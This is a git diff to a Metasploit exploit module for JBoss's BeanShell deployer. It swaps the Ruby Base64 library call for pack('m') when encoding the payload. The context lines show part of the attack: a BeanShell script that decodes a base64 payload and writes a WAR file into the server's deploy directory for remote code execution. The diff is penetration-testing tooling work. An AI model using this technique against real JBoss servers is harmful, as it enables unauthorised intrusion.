diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb
index 8dafbbc154..34eec09326 100644
--- a/modules/exploits/multi/http/jboss_bshdeployer.rb
+++ b/modules/exploits/multi/http/jboss_bshdeployer.rb
@@ -10,7 +10,6 @@
 ##
 
 require 'msf/core'
-require 'base64'
 
 class Metasploit3 < Msf::Exploit::Remote
 	Rank = ExcellentRanking
@@ -97,11 +96,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
 		# The following Beanshell script will write the exploded WAR file to the deploy/
 		# directory
+		encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
 		bsh_script = <<-EOT
 import java.io.FileOutputStream;
 import sun.misc.BASE64Decoder;
 
-String val = "#{Base64.encode64(p.encoded).gsub(/\n/, '')}";
+String val = "#{encoded_payload}";
 
 BASE64Decoder decoder = new BASE64Decoder();
 String jboss_home = System.getProperty("jboss.server.home.dir");